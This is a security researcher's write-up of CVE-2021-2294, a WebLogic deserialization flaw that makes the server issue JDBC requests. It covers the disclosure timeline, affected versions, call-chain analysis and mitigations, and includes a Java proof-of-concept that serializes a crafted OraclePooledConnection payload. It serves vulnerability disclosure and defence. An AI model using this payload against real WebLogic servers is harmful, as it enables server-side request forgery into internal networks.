作者:thiscodecc@墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/lUAkk9iI1yUBjy4l1eFYpg

漏洞簡述

2021年1月12日,墨云安全V-Lab實驗室向Oracle官方報告了Weblogic Server 反序列化JDBC漏洞,2021年4月21日Oracle發布了致謝信息。

2019年11月底Yang Zhang等人在BlackHat上有個議題,提到MySQL JDBC客戶端反序列化漏洞。議題地址 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

讀完這個議題后覺得挺有意思的,于是花了一些時間在WebLogic中找了一條在反序列化調用鏈中能發起JDBC請求的調用鏈,但是在jdbc請求的過程中我并沒有發現執行ObjectInputStream.readObject的地方,由于WebLogic在高版本的JDK中使用了JEP290特性注冊了ObjectInputFilter,那么即使我發現有ObjectInputStream.readObject的地方應該也無法進行RCE。用這種方法去讀取weblogic上面的文件時,我直接使用惡意的mysql db沒有成功讀取到weblogic上面的文件,惡意的oracle db網上沒有現成的,這里我選擇了放棄自己寫一個惡意的oracle db,最后給oracle提交這個漏洞的時候,只能證明在內網發起一個jdbc請求,危害比較低,cvss評分只有6.5。

時間線

  • 2021年1月12日向Oracle官方報告了此漏洞
  • 2021年1月13日Oracle分配了issue編號
  • 2021年1月25日Oracle確認在下一個補丁日修復此漏洞
  • 2021年4月17日Oracle分配CVE編號CVE-2021-2294
  • 2021年4月21日Oracle發布致謝信息

影響版本

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

漏洞分析

漏洞代碼位于ojdbc6.jar(這個漏洞是影響全版本的,不同版本的weblogic引入的jar不一樣,測試可以把ojdbc*.jar引入到項目里面),oracle.jdbc.pool.OraclePooledConnection.class文件的readObject方法調用了this.oracleDriver.connect

image-20210417215227192

->

image-20210417215354675

->

image-20210417215630363

->

image-20210417215657435

->

image-20210417215828963

->

image-20210417220046223

->

image-20210417220158020

->

image-20210417220226011

在這里發起了jdbc請求

驗證POC:

java.util.Properties jup = new java.util.Properties();
jup.setProperty("InitialLimit", "1");
jup.setProperty("MinLimit", "1");
jup.setProperty("MaxLimit", "2");

Class<?> aClass = Class.forName("oracle.jdbc.driver.OracleDriverExtension");
Class<?> aClass1 = Class.forName("oracle.jdbc.driver.T4CConnection");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor(String.class, Properties.class, aClass);
declaredConstructor1.setAccessible(true);

//ip
String ip = "127.0.0.1:1111";
Object o = declaredConstructor1.newInstance("jdbc:oracle:thin:@" + ip + ":src", jup, null);

//password
Constructor<OpaqueString> declaredConstructor = OpaqueString.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
OpaqueString opaqueString = declaredConstructor.newInstance("123456");

Field password = aClass1.getDeclaredField("password");
password.setAccessible(true);
password.set(o, opaqueString);

//userName
Class<?> aClass2 = Class.forName("oracle.jdbc.driver.GeneratedPhysicalConnection");
Field userName = aClass2.getDeclaredField("userName");
userName.setAccessible(true);
userName.set(o, "root");

OraclePooledConnection oraclePooledConnection = new OraclePooledConnection();

//physicalConn
Field physicalConn = oraclePooledConnection.getClass().getDeclaredField("physicalConn");
physicalConn.setAccessible(true);
physicalConn.set(oraclePooledConnection, o);

serialize(oraclePooledConnection, "./vlab.ser");

發送POC,wireshark抓流量看下

image-20210417220602579

修復建議

1.禁用 T3 /IIOP協議:如果您不依賴 T3 /IIOP協議進行JVM通信,可通過暫時阻斷 T3 /IIOP 協議緩解此漏洞帶來的影響。

2.更新最新補丁,參考Oracle官網發布的補丁:

https://www.oracle.com/security-alerts/cpuapr2021.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1923/